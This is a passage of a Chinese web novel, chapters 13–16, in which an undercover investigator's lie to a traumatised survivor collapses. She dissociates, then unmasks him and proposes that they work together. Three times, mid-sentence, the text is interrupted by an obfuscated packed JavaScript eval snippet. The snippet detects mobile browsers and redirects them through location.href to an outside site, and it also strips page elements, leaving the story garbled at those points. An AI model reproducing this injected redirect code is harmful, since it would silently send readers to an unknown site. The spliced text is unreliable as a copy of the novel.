他甚至都没有见过一面活着的顾巍。 而原安才是那个真正与顾巍相识相伴、青梅竹马、一起长大的知己挚友。 所以,如果顾巍真的如他所言,临时离开去处理租车事宜,那么他一定会优先选择向原安报备。 换言之,沈澈是绝对不可能在原安完全不知情的前提下,知晓顾巍的去向的。 想到这里,沈澈不禁抿唇。 因为从这件事情里,他看到的不仅仅是自己的失误,更多的是造成这种失误背后的真正原因。 一直以来,他都是以江逾白教授的科研助理的身份靠近原安。在这个身份的作用下,他下意识就把原安放在了患者甚至是病人的位置上。时间一长,他甚至都忘了,原安曾是整个望海警届公认的高智商推理作家。 原安确实沉浸在幻想中,但她的高智商也一直在后台同步运行,她的理性思维和推理观察能力从来没有因为心理疾病而彻底罢工。 他以为一直以来,只是他在陪她演戏,却没发觉,她在他陪她演戏的同时,也在默默收集着其中不合逻辑的线索。 他以为一直以来都是自己在刻意地引导她,却没料到她在他引导她的同时,也在冷静地审视他的引导、揣摩他的用意。 直到这个无法辩驳的巨大失误出现,直到这个谁都无法圆上的客观现实砸来,她才开口问出了这个盘桓已久的问题。 真是个,聪明到可怕、又冷静到极致的女人呢。 沈澈抬眼回望原安,脑中飞快转动,开始权衡自己该如何回答这个问题。 毫无疑问,此情此景下,继续替顾巍找借口,像之前一样陪她粉饰太平,才是最优解。 他们来青岚山不过两日,原安已经先后经历了顾巍失踪、林心楠绝笔、以及沈翔原婉和林心楠上一辈惨烈真相等等事件,此时此刻,原安的心理应该是极度脆弱的。这个时候,如果再向她坦白顾巍的死亡真相,无疑会成为压死骆驼的最后一根稻草。她会就此彻底崩溃。 他不能这样做。 可是,如果真的要瞒…… 原安已经起了疑心,且他不知道她到底掌握了多少现实线索。她有着足够高的智商和不亚于他的推理判断能力,如果他想继续骗她,就得想一个绝对完美到原安都找不出错误的借口。 这种借口存在吗? 答案显而易见。 除非…… 原安愿意像从前一样,配合着他,欺骗自己。 可是,这可能吗? 是可能的。 原安智商再高,她也是人,还是个患有严重ptsd的人。 如果沈澈真的要选择继续编借口骗她,她的超高智商和理性思维确实能够在第一时间抓到沈澈话中所有的逻辑漏洞,但同时,她强大的心理防御机制会为了保护她的情绪不崩溃选择立即介入,引导她的理性思维去优先寻找一个能够维持现状、避免崩溃的解释,而非直面最残酷的真相。 就像之前,她的理性让她问出了那句“这一次顾巍是去了哪里”,但从感性上看,这句话何尝不是另一种试探性的求救?她的潜意识在对他呐喊,沈澈,快给我一个能够说得通的理由,让我可以继续相信谎言。 这是一种自我保护机制,和她对于顾巍的持续性联结幻想如出一辙。 而他现在要做的,就是充分地利用她的这种心理保护机制,为她圆上这个合理的解释。 虽然这样做的结果,必然会在之后的相处里,为他带来数不尽的麻烦。他将要不断地对原安撒谎,然后再用无数个新的谎言去圆另外无数个旧的谎言,而这其中,必然会出现新的破绽。他们将会开始无穷尽的博弈、斗智、拉扯,那些之前好不容易建立起来的信任,也将会这些不断试探中消磨殆尽。 简直是后患无穷、得不偿失。 但比起现下就让原安彻底崩溃,那些未来的事情,好像也不是那么重要了。 想到这里,沈澈重重地叹了口气。 他悲哀地发现,面对原安,一切冷静的权衡似乎都变得不堪一击了。 做好决定,他上前一步,走近原安,正要圆谎,却不想对面的原安却先他一步对他开口。 她说:“沈澈,不要骗我。” 这句话,她说得很艰难,仿佛用尽了所有的意志。 这句话,她又说得很轻,轻飘飘的,散在空气里,仿佛下一秒不用碰,它自己就会破碎消散,灰飞烟灭。 沈澈止住了脚步,再也迈不动分毫。 因为他看到,原安说完这话后,眼尾泛起了一抹绯红。 他站在原地,沉默了足足有一分多钟。任凭千言万语在胸腔中来回冲撞,他却始终狠不下心、开不了口,说出那个已经编好的借口。 沈澈又叹了口气。 他选择再次放弃。 他看着原安,郑重其事而又无比悲伤地道了一句:“……抱歉。” 他没法继续骗她了,却也不忍心真的说出真相。 但原安多聪明一个人啊,她在看到他悲悯的眼神时,就什么都明白了。 于是,之前所有的怀疑,所有的不合理,所有她强迫自己忽略的细节,都在这句似是而非的抱歉中,得到了最终的证实。 那双清亮眸子里的光,在这一刻,如被风吹灭了的烛火,倏地暗了下去。 原安没有哭闹,没有追问,没有再说话,甚至没有再看沈澈。 她只是缓缓地转回身,继续之前动作,走到自己的房门口。 她的目光落在电子门锁上,周遭所有的声音在此刻尽数消失。 她的世界似乎只剩下了那道电子锁。 她僵硬地抬手,将手中的房卡贴向门锁上方的感应区。 “嘀——” 一声清脆鸣响,电子门锁上方的绿灯应声而亮,宣告解锁成功。 但原安却没有按下门把手,推门而入。 她依然站在原地,像是完全没有看到那盏代表着解锁成功的绿灯一般,捏着房卡,又一次、机械地将房卡贴向门锁感应区。 “嘀——” 又是一声清脆鸣响,绿灯再次亮起。 可原安还是没有进去。 她拿着房卡,麻木着再一次重复。 “嘀——” “嘀——” “嘀——” 刺耳的鸣响,在寂静的走廊里尖锐地重复。 可始作俑者原安,对此毫无知觉,依然机械地、麻木地、一次又一次重复着刷卡的动作。 沈澈在第二声鸣响的时候,就意识到了原安的不对劲。 她这不是在开门,她只是在进行一种无意义的、机械地重复。 她的身体虽然一直在动,但支配这个行为的意识已经完全不在线了。 她的情感完全冻结,行为自动重复,行动的意义从大众意义上的目的导向,退化成了纯粹的刻板动作。 这一切都在向他暗示,原安的精神正在承受远超阈值的痛苦,而她的大脑已经启动了最后的自我保护机制,进入了崩溃性解离状态。 他现在必须立刻马上进行干预。 得出这个结论后,沈澈没有半点犹豫。 他立即上前一步,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469790|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断却又不失温柔地,用自己的左手覆盖住了原安那只不断重复着刷卡动作的右手。 “原安,你看看我。”他的声音低沉、平稳,带着一种不容置疑的安定力量,像投入死水中的磐石,试图激起原安残存的理智,“你能感受到我的存在吗?你尝试感受下我手心的温度。” 可原安置若罔闻,或者说,她根本已经听不见沈澈的话了。 沈澈没有选择和她硬碰硬地对抗。他在原安再次试图抬起手刷卡的同时,就着她向前的力道,巧妙地带着她的手一起,在两人的中间,划了一个柔和的半圆圈,将她的手连同房卡一起,从感应区前引开,成功阻断了她继续刷卡的动作。 随后,他温和而坚定地引导她,将她的双手放回到了她自己的身侧。 而后,为了确保她无法再次抬手刷卡,沈澈将自己的双手也轻轻覆了上去。 “原安,你醒醒,你看看我。”沈澈看着她,再次开口,声音更沉,语气更加坚定,耐心唤道,“原安,我是沈澈,你看看我。” 原安依然没有听到。 她遵循惯性,想要再次抬手刷卡。但碍于沈澈覆盖在她手上的手,以及与沈澈力量实在悬殊,她多次尝试无果后,终于不得已被迫中止了动作。 她有些茫然地抬起头,看向眼前这个阻止自己开门的陌生人。 她像是在看着沈澈,却又好像不是在看沈澈。她就这样睁着眼,仿佛什么都看不见了。那双曾经灵动锐利的眸子,此刻空茫地映着走廊顶灯的光,没有焦点,没有意识,像两口枯井,正汹涌无声地涌出泪水。 沈澈的心猛地一沉。 他再次上前一步,走近原安。 他将自己的双手,缓慢上移,扶住原安的双臂,在保证她依旧无法抬手的同时,微微俯身,凑近原安,确保自己确实能够出现在原安的视野范围内。 他近距离看着原安已然涣散的瞳孔,再次开口,声音放得更缓,却更具引导性。 “原安,我是沈澈。” “原安,你看着我。” “原安,你能感觉到我正扶着你的肩膀吗?” “原安,你能感觉到我手心的温度吗?” 他一连问了好几遍,一边问,一边试图用自己的动作和手心的温度对原安进行最基础的感官刺激,帮助她重新与现实建立联结。 可是,原安始终没有回应,她甚至没有再挣扎过一次。 她仿佛一尊被抽走了灵魂的、正在流泪的美丽雕塑。唯有两人肌肤相贴处传来的那轻微的、无法自控的颤抖,向沈澈证明原安还活着的事实。 沈澈不死心,极有耐心地唤了很久,但回应他的,只有走廊死寂的风和掌下越发冰冷的体温。 沈澈的心越发沉了下去。 原安的语言通道完全封闭了。 持续的刺激和当前的环境,只会让她的解离状态加深。 他不能再让她停留在这个充满刺激的环境里了。 “失礼了。” 沈澈当机立断,对着原安微微颔首,聊表道歉。 而后,他弯下腰,一手穿过她的膝弯,一手稳固地托住她的背脊,将她打横抱了起来。 她的体重很轻,蜷缩在他怀里,像一片无依的羽毛。 她在他抱起她的那一刻,像是终于失去了支撑的力气一般,无力地靠向他的肩窝,温热的泪水瞬间浸湿了他颈侧的衬衫,带起一片刺骨的冰凉。 沈澈抱着她,稳步走到自己的房间门口。 他侧过身,用身体抵住房门,熟练地单手刷卡、压下门把,用肩膀轻轻顶开房门。 整个过程平稳而迅速,没有一丝颠簸。 他就这样抱着原安,走进了自己的房间。 14. 第 14 章 原安是在一种被温暖笼罩的妥帖感中,逐渐恢复意识的。 那感觉就像是,一个人在冰天雪地里长途跋涉许久之后,突然间,走进了一间小木屋,木屋正中烧着柴火,暖意融融,而她则被人温柔地裹上了一床蓬松软被。 那软被大概刚在冬日阳光里晒了足足一下午,从上到下都透着一股干燥温暖的气息。 这种感觉非常舒服,让人不由自主从身到心彻底放松。 原安自然而然顺从本能,沉浸在这份难得的舒适惬意里。 许久之后,她终于休息够了。她感觉自己似乎已经汲取到了足够的力量,这才缓缓睁开了眼。 首先映入眼帘的,是满室柔软而不刺眼的晨光。 她发现自己被妥善地安置在了窗边一张宽大舒适的单人沙发椅里。 她的身上裹着一条轻薄却温暖的羊绒毯。那张单人沙发椅显然被人细心地调整过角度,温暖的晨光自她身侧巨大的落地窗外斜射进来,恰好落在她肩部以下的区域,如同一个温暖而无形的拥抱。 她不自觉动了动手指,这才发现,自己手上的伤口已经被妥帖地处理过了。有人用酒精专门为她消了毒,还非常用心地在个别较大的伤口处贴上了创口贴。 而她的手里,似乎还捧着一个马克杯? 原安有些疑惑地低头。 她看着手中凭空出现的陌生马克杯,尚未完全清醒的脑子越发迷茫。 片刻,她像是想到了什么似的,有些僵硬地抬起头。 几乎是第一眼,她就瞧见了坐在不远处书桌后的沈澈。 笔记本电脑屏幕发出的光映在他专注的脸上,他眼下有淡淡的青黑,眉宇间也有轻微疲惫,但他的脊背依旧挺得笔直。 几乎在她视线投过去的同时,坐在书桌后、正在整合线索的沈澈就敏锐地抬起了头。 “原小姐,你醒了?” 他说着,抬手合上了电脑。 他从书桌后站起身,慢慢朝她走来。 他没有贸然直接走到她的身边,而是在距离她几步远的地方,自觉停下了脚步。 他站在她的绝对安全距离之外,先是不动声色地从上到下快速扫了一眼她的状态。在确认她没有明显的异样后,他才缓缓开口,语气温柔自然:“原安,你现在感觉怎么样?马克杯里的水温还合适吗?” 他的声音里带着一丝熬夜后的沙哑,却一如既往温和沉稳。 原安没有立刻回答。 她垂下眼眸,长长的睫毛在苍白的脸上投下浅淡的阴影。她在认真识别并思考沈澈提出的问题。 片刻,她像是逐渐找回自己的思维能力一般,下意识地低下头,跟随沈澈的问题,蜷了蜷捧着马克杯的手指。 水温透过杯壁传来,是恰到好处的温热。 又过了几秒后,她才极轻地开口,声音沙哑,语气冷静:“水温……可以。” 沈澈微微眯了眯眼。 刚才,他对原安提出了两个问题,感觉如何以及水温是否合适。前者是情绪关心,后者是具体感官。但原安,她迟缓却精准地回答了后一个问题,却在前一个涉及她内在感受的问题上,选择了回避和跳过。 这说明她现在确实已经脱离了解离状态,但内在依旧混乱痛苦。 她的理性在逐步回归,但情感上却依旧脆弱。 总体而言,这是一个向好的信号。 想到这里,沈澈不由心下稍安。 他想,以她的性格,大概率现在是不想见到他的。 毕竟,昨夜他在酒店走廊上,亲口承认了对她的欺骗。 既然她现在已经脱离了解离状态,开始逐步恢复,那么他的身份也就从临时医生变成了刺激源本身。 或许这个时候,他应该主动离开,避免她再次受到刺激。 这样想着,沈澈点了点头,道:“那就好。你先休息一下,我下楼去给你买早餐。” 沈澈说完,便要转身离开。却在这时,身后的原安突然开口喊住了他。 “沈澈,”她的声音非常干涩,语速很慢,甚至还带着不自然的停顿,“我,暂时,不想吃东西。你,能稍微,留一下吗?” 沈澈闻言挑眉。 这个请求倒是有些出乎沈澈的意料。 但无疑,这个反应,对于原安而言,是个向好的征兆。 毕竟,对于一个刚从严重解离中恢复的创伤患者而言,最危险的状态不是崩溃,而是封闭。 在经历了昨晚的信任危机与精神崩溃后,她依然能够向他开口,这说明在她潜意识的权衡中,她还是将他判定为是个安全的、可以依赖的人。 而她要他留下的请求,意味着她潜意识里想要重新和他、和外界产生联结。 她的社会交往功能正在恢复。 沈澈自然非常乐意延续这种向好的发展。 “好。” 他几乎没有任何犹豫就应了下来。 他一步一步慢慢靠近原安,直到确认原安完全没有任何排斥他的举动后,他才走到原安对面的单人沙发上坐下。 他温柔而安静地看着原安,沉默地等待原安开口。 原安其实是有些犹豫的。 她也不知道自己为什么会在沈澈转身的时候,下意识开口留住他。 她觉得自己可太奇怪了。 这样想着,她不由自主未经思考就问出了第一个问题:“沈老师,我,这是怎么了?” 沈澈明显误会了她的意思。 他非常专业地同她解释了起来:“你昨晚的经历,在心理学上被称为‘解离’。这并不是什么疾病,而是大脑在承受远超阈值的压力时,启动的一种高度自我保护机制。它让你暂时与现实分离,从而避免精神被击垮。这并不可怕,也不特殊。事实上,它是一种极为普遍的基本反应。任何人,包括我,若是在短时间内,同你一般,接收那样密集的信息与巨大的刺激,都可能会出现类似的反应。” 沈澈说到这里,微微顿了顿,片刻,才真诚续道:“我很抱歉,我之前的一些行为,也成了诱因之一。” 原安不说话了。 一些光怪陆离的碎片,随着沈澈的话语,在她的脑海里快速闪过。 酒店走廊柔软的地毯、陌生情侣嬉笑打闹的声音、一种让她几近窒息的绝望,还有之后许多破碎的零星记忆。 那些记忆中的画面太过扭曲、模糊,宛如雾里看花,她甚至有些分不清那到底是记忆,还是一场噩梦。 所以,昨天她和沈澈出了电梯之后,在酒店走廊上,到底发生了什么? 为什么她会突然失去意识? 为什么当她再次清醒时,她会呆在沈澈的房里? 这中间到底还发生了什么事情? 还有顾巍…… 他怎么可能会放任沈澈把她带回自己的房间呢? 原安感觉自己的心底瞬间又重新涌起了许多不知名的复杂情绪。她突然就很想将问题逐个抛向沈澈,向他索要答案。 可不知道为什么,这些话明明都已经滑到了嘴边,她却硬生生一个字都问不出来。 仿佛冥冥之中有一股奇怪而强大的力量,狠狠地拽住了她。 她的思维就这样莫名其妙凌空劈了个叉,转到了毫不相干的林心楠身上。 她莫名就想到了那封提到顾巍的林心楠的绝笔信,思维瞬间定格在了绝笔信开头的那一句“安安,当你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472344|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到这封信的时候,妈妈应该已经不在了”。 原安骤然清醒,思绪在这一刻仿佛被这股力量彻底拽离,落在了另一个她无法回避的痛点上。 她看着沈澈,终于问出了第一个经过思考的理智问题:“沈澈,我妈妈她……” “我妈妈……她是不是……已经不在了?” 沈澈也没想到,原安的问题竟然是关于林心楠的。 这个问题,怎么说呢,真是即在意料之外,又在情理之中。 但他在听清问题的瞬间,下意识的第一反应竟然是松了口气。 他在庆幸,她的潜意识仍在保护她,没有让她再次询问顾巍的去向,没有让她去触碰那个最核心、最致命的创伤。 所以,他也该吸取教训,不能再次欺骗她。 沈澈点头,如实道:“是。” 原安蓦地感到心脏被一只冰冷的手攥紧了。 虽然在青岚山上的时候,她已经有所预感,并且在沈澈的引导下,已经宣泄过情绪,并且稍微接受了这个现实。 但亲耳听到沈澈如此正式地承认,说实话,她还是感受到了巨大的冲击。 她以为自己会再次痛苦地流泪,但诡异的是,预想中的悲恸并没有来临。她能够很清晰地感受到,自己当下的情绪不是痛苦,而是平静,甚至是,冷静。 “那,她……”她顿了片刻,实在没忍心说出“遗体”二字,索性直接忽略了这个词,问道,“她现在在哪里?” “在市局的……法医室。”沈澈依旧如实回答,“我们已经做了最专业的处理,你不用担心。” 原安的眼睫狠狠一颤。 沈澈这个回答太明确了。 这根本不是一个心理学教授的科研助理会知道的信息。 这分明是只有直接接触绑架案的专业刑警才会掌握到的信息。 还有,他在回答的时候,自然而然脱口而出的“我们”。 这种体制内的惯用语,她在望海市局协助办案时,曾经无数次听到刑侦支队的同僚们对外这么自称。 但沈澈不是望海市局的人。 他是一年前因为她的绑架案,才来到望海市局的。 而绑架案后,望海市局唯一新成立且需要外部支援的部门,只有一个,那就是远洲集□□列特大犯罪专案组。 所以,沈澈是这个专案组的成员。 再结合沈澈出身晋阳沈氏、他说话时偶尔的口音以及不经意间带上的地方惯用词语,他大概率是专案组中,那两位从首都辰星调来支援的刑警之一。 很显然,沈澈不可能会是那个刚满二十、活泼脱线、喜欢捣鼓各种无用小玩意儿的天才宅男技术员。 那么,就只剩下了一种可能。 沈澈,他就是那位传说中来自首都特侦局、天天神龙见首不见尾、忙得据说连市局大门都没空进的专案组组长。 想到这里,原安简直痛彻心扉。 无数情绪如冰锥,不断刺穿她仅存的理智。 她没有哭,反而笑出了声。 她抬起眼,目光像淬了毒的刀片,缓缓刮过沈澈的脸。 “两个月。”她的声音很轻,却字字清晰,带着一种耗尽全部力气的、残忍的平静,“绑架案发生前两个月,我就以望海市局刑侦支队特别顾问的身份,向你们特侦局递交了协查申请,请求你们立即介入调查。” “我明明已经在案情分析报告里,阐明了问题的严重性和事态的紧迫性。可你们呢?不闻不问,硬生生拖了整整两个月。”她微微偏头盯着沈澈,嘴角在笑,眼里却像是快要哭了,“现在,人都死完了,你们特侦局终于舍得来人了。沈组,我请问呢,现在要你们来干嘛呀?” 15. 第 15 章 原安的话,宛如当头浇下的一盆冷水,淋得沈澈透心凉心飞扬。 他直接就愣在了原地,心里极度震惊。 他实在没想明白,为什么上一秒原安还在和他谈论林心楠的死亡,下一秒,话题直接凌空劈叉,莫名其妙就转到了特侦局,还顺便看穿了他的真实身份。 他这一次又失误在了哪里? 原安到底是怎么从两句话间找到破绽,又是怎么推出他是远洲集□□列犯罪专案组组长这个身份的? 沈澈狠狠蹙眉。 他快速在脑中复盘反省,几遍无果后,便也不再继续纠结这个问题。 他向来是个习惯于向前看的人,不管他到底是因为什么原因掉马,但马甲既然已经掉了,过分追究过程其实没有什么意义,他现在该做的,是优先解决当下的问题。 这样想着,他又看向了原安。 原安也在看着他。 她的目光冰冷,她的愤怒滔天,她维持着最后的理智安静地坐在沙发上,极度冷漠地等着他开口。 她在等他给她一个解释。 沈澈叹了口气。 他慢慢敛去素日伪装的温和,挺直腰板,正襟危坐。 他没有再回避原安淬毒的目光,反而直直迎了上去。 这并不是在挑衅,而是在承接。 他已经做好准备,全盘承接她所有的愤怒与悲恸。 沈澈看着原安,思量片刻,才沉重地开了口。 “你说得对,我很抱歉,原安。”他的声音低沉,没有半点推诿或辩解的意思,而是以一种准备承担一切的姿态,认真道,“你的案情分析报告,我看过不止一遍,很准确,很精彩。确实,你在这份报告里,就已经把未来两个月可能发生的所有事情,全部完整地预料到了。如果特侦局能够在收到报告的第一时间介入,沿着你提供的思路和方向,调查、行动、保护案件相关人员,那么,绑架案不会发生,林女士不用孤身入局,你也不会被迫卷入其中。那些对你非常重要的人,就不会死亡。” “这一点,确实是我们的问题。不管这种延误,是由多正式、多冠冕堂皇的原因造成的,在最后大型伤亡的既定事实面前,都是借口。” 这样坦诚的态度和担当的做派,稍稍平息了一些原安的情绪。 她脸上的表情有所松动,肩膀线条不自觉地放松下来,虽然很快就因为不习惯这种失控感而重新绷紧,但周身那种剑拔弩张的攻击性却还是淡了下去。 她微微撇过头,避开沈澈那过于诚恳的、直视着她的目光,没在言语。 “我知道现在不论说什么,都于事无补。”沈澈续道,“我不敢祈求你的谅解,也不敢奢望你能再相信我,但我恳求你,至少不要用我们的错误,去伤害你自己。” 他从沙发上起身,慢慢走到原安面前两步远的位置,在确定她没有明确的排斥举动后,他才缓缓蹲下,让自己尽可能能够完整地出现在原安眼角余光的视野范围内。 他单膝点地,微微仰头,以一种仰望的姿态,真诚道:“还记得我刚刚同你说的关于‘解离’的原理吗?这种情况之所以会发生,是因为你的大脑检测到你的精神承受了远超阈值的痛苦,它为了保护你,所以强行断开了你与现实的联系。这虽然不是疾病,但它是一个强烈的信号,说明你内心承受的压力和情绪已经达到极限了,绝对不可以再往上继续累加。” “我能理解你现在的心情,但我希望你不要用这种情绪去攻击自己。这些情绪,需要的是被听见、被理解、被接纳、被宣泄,它应该要向外走,而不是朝内,被你用来惩罚你自己。” “如果可以的话,我希望我能够成为那个承接你所有情绪的人。失望也好,痛苦也好,尖锐的指责也好,滔天的愤怒也好,无论什么,你都可以对我说。你不用因此感到抱歉,这本就是我们特侦局应该承受的。” 沈澈的话语落下,房间里是死一般的寂静。 原安没有说话,但她微微偏过了头,再次对上了沈澈的目光。 她看着沈澈,眼中已经没有了之前愤怒和凛冽,她的眼神非常平静,如天晴时的海面,无风无澜。 她就这样静静地看着他,好似之前从未真正认识过他。 她兀自看了一会儿,突然,极轻地笑了一下。 沈澈心头一跳,莫名有了一种不祥的预感。 但下一刻,他就完全没法思考了。 因为原安非常自然地、甚至带着一种从未有过的亲昵的姿态,对他缓缓伸出了右手。 她的右手,动作轻柔地拂过他的脸颊,然后,以一种不容置疑的力道,托起他的下颌,迫使他抬起头来,与她对视。 沈澈微微瞪大了眼睛,喉结滚动,心如擂鼓。 他实在太过震惊,以至于他没有察觉,原安把自己的中指和食指的指尖,悄无声息地、若有似无地贴在了他颈动脉的位置。 她就这样看着他,眼神专注,一错不错。 她微笑着开口,声音轻柔,无悲无喜。 “沈澈,你这样以退为进,是因为,我身上,还有你想要的线索,对吗?” 此话落下,宛若惊雷,在沈澈脑中轰然炸响。 沈澈的瞳孔几不可查地一缩,呼吸也有瞬间的凝滞。 与此同时,原安搭在沈澈颈动脉的手指指腹下也传来了一阵非常急促的、有力的狂跳。 这种近乎慌乱的搏动,像最终落下的法槌,将原安心底最后一丝微弱的、不切实际的幻想也彻底敲得粉碎。 她眼中的平静消失了,取而代之的是一种深不见底的、果然如此的悲凉。 沈澈几乎在瞬间就理解了原安的用意。 她不是被他的真诚打动了。 她是在利用他的情绪,对他进行测谎。 他对她长达一年的欺瞒,彻底摧毁了她对人际关系的基本信任。此情此景下,所有他自以为是的坦诚和好意,在她看来,只可能是他为她量身定做的更高明的谎言。 既然语言不可信,那么,她只能退行到她认为最客观、最不会骗人的领域。那就是他最基本的生理反应。 想到这里,沈澈不禁有些懊恼。 他竟然忘了,严重的信任创伤后,个体会陷入一种过度警觉的状态,会不由自主反复检验对方的可靠性。 这是一种典型的心理自卫,无可指摘。 沈澈瞬间就从地上跳了起来。 他几乎是出于本能地后退了一步,离开她的视野,彻底脱离了她的触碰。 但原安已经收回了手。 她疲惫地闭上眼,嘴角扯出一个凄凉而悲伤的苦笑。 沈澈当即就知道她彻底误会了。 是的,一开始他确实是带着目的接近她的。他专案组组长的职责和任务,要求他必须从唯一幸存者原安这里获取线索,侦破案件。这是他无法否认的客观事实。 所以,当这些本就真实的事情被原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482531|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安突然点破,与任务相关的警觉会让他瞬间给出肯定的身体反应。 但这个反应落在原安眼里,却变成了他是在对她方才提出的问题的肯定。 也就是原安认为,他的反应变相承认了,他方才那番话其实是他以退为进攻心的一种策略。 这一刻,沈澈真觉得自己比窦娥还冤枉。 “不是的,原安,测谎的问题不是这样问的。”沈澈有些气恼,又有些委屈,他本不想为自己辩解,但这一刻他的理智已经掉线,辩解的话语想也不想便直接脱口而出,“我承认我最初接近你确实是另有目的,但刚才那些话不是策略,我分得清什么是任务,什么是……” 是什么? 说到这里,沈澈突然顿住了。 是啊,他刚刚对原安说的那些真心话,初衷是什么? 关心?愧疚?歉意? 还是其他更多的、他尚未理清的情愫? 于是,他的话就这样停在了半空,要落不落,像极了辩解到一半,自己先词穷了。 原安等了一会儿,终于低下头,自嘲般轻轻笑了一声。 “沈澈,”她说,“你的身体可比你的嘴诚实多了。” 然后,沈澈就彻底安静了。 他知道,现在是真的说什么都没用了。 一股难言的沉默在两人之间快速弥漫开来。 最后还是原安开口打破了沉默。 “沈组长。” 沈澈的心瞬间沉到了谷底。 这个称呼一出,意味着原安已经彻底将他划出了自己的世界。从此没有可以倾诉心事的沈老师了,也没有可以信任依靠的沈澈了,只剩下一个冷冰冰的专案组的沈组长了。 他没有说话,只是站在原地,静静听她的审判。 原安睁开眼,显然已经重新带好了面具。她偏过头,看着他,一如既往温温柔柔地笑着,区别只在于往日眼中笑意发自心底,而如今唇角笑意未达眼底。 “沈组长,其实你不用这样的。在这个案子上,我们的目标其实是一致的。或者更进一步说,我其实比你更想找出这幕后的真凶,毕竟,绑架案里死去的,都是我最亲、最近、最最重要的人。” 原安说到这里,眼尾不禁泛起一抹绯红,但她也只是深深吸了一口气,微仰下巴,便又变成了那个优雅端庄的原安。 “而且,你在妈妈的绝笔信里也看到了,如果我没能找出真相,我性命堪忧。从这个层面上来看,我其实比你还要急迫。”原安道,“所以,沈组长,我们合作,如何?” 这话听得沈澈简直百感交集。 他着实没想到,连合作这种本来应该由他来牵头的事情,最后竟然是由原安来提。 这样理性、聪慧、一阵见血、直至要害的原安,他还真的是第一次见。 倒不是因为原安之前不理性不聪慧,而是因为之前他们是可以交心的朋友,他们之间没有戒备,没有怀疑,不用思考,不用顾忌,可以畅所欲言。 而不是像现在这样,一句话里有八百个心眼子,夹枪带棒得每一个字都是一个套路。 但他没办法说什么,因为这一切都是他自己造成的。 她在他欺骗她的时候,毫无保留给了他真心,给了他把她伤得千疮百孔的机会,所以,当他终于想要拿出真心回馈她的时候,伤痕累累的她,已经因为他过去太多的欺骗,无法再次相信他了。 他和她,还真的,总是差了一步。 16. 第 16 章 短暂的失落过后,沈澈还是很快找回了自己的理性。 眼下这种情况,任何形式的纠缠或者是辩解,都只是小孩子的无理取闹,于事无补。 这不是他的行事风格,也不会是原安现在想要听到的内容。 他现在唯一能做的,只有跟上她的思维,尊重她的人格和智慧,遵循她的意愿,以专案组组长的身份,同她谈一项合理的、平等的合作。 沈澈深吸一口气,默默拾起片片心碎,强行压下各种的情绪,走到原安对面的沙发上坐好。 他依旧正襟危坐,却也不再刻意收敛气场。 “原小姐,想要怎么合作?”沈澈询问。 “首先,我为我刚刚的行为道歉。”原安缓缓开口,语气平静,“我确实利用了你的信任和情绪,对你进行了测谎。情非得已,望你谅解。” 这是一句毫无感情的公式化道歉。一句情非得已,暗骂源头在他,并且之后一定会伴随着转折。 沈澈很清楚这一点,所以也配合道:“是我欺瞒在前,真要道歉,也该是我道歉。” 原安笑了一下,顺着他的话接了自己的转折:“但我们这样道歉来道歉去,其实没有什么特别大的意义,类似的事情,就到今天为止吧。往后合作期间,我希望不要再发生相同的事情了,毕竟合作的基础,是坦诚,你说对吧?” 说到这里,原安像是突然想到了什么似的,又补充道:“当然,我知道,有些案件机密,不是我这样的当事人有权知道的。对此我非常理解,所以,合作期间,如果遇到这一块的相关内容,请沈组长务必直言,我一定识趣闭嘴。但与此相对,如果遇到我不想说的事情,同样希望沈组长包容我的拒绝。” 被一连串“沈组长”糊了一脸的沈澈:“……” 沈澈抿了抿唇。 他当然听得出原安在一连串夹枪带棒、阴阳怪气中顺带给他立规矩,但同时,他也很清楚地知道,在信任彻底破产后,这是他们之间仅存的能够继续共处的最理性、最合理的方案。 说到底,都是他自找的,所以,他也只能受着。 沈澈点头,同意道:“好。” 于是,初步共识就这样愉快地达成了。 原安不再废话,直接切入正题。 “关于绑架案,其实我自己私下也曾经尝试过很多办法进行深挖,但很遗憾,除了最后一枪,我真的想不起来更多的细节了。但是,有一点是可以肯定的,这件事一定与二十五年前母亲与翔先生的事情有关。妈妈的绝笔信和日记里都写到了,他们是在屏江遇害的。那里是一切的起点。所以,接下来,我想去屏江看看。虽说年代久远,但也许故地重游,会有新的发现。” 这个想法简直和沈澈不谋而合。 沈澈点头:“这一点我赞同。” 这是实话。 事实上,昨夜,沈澈在照顾原安的间隙里,又开了一次铁盒,将林心楠的日记和绝笔信又拿出来看了一遍。 在重新梳理、整合了一遍林心楠留下的线索后,他也得出必须得去屏江走一趟的结论。因此,昨晚,他在向直属领导汇报完毕后,也同步呈交了报告,提请上级协调屏江市局,调取二十五年前沈翔与原婉“自杀”案的相关卷宗。 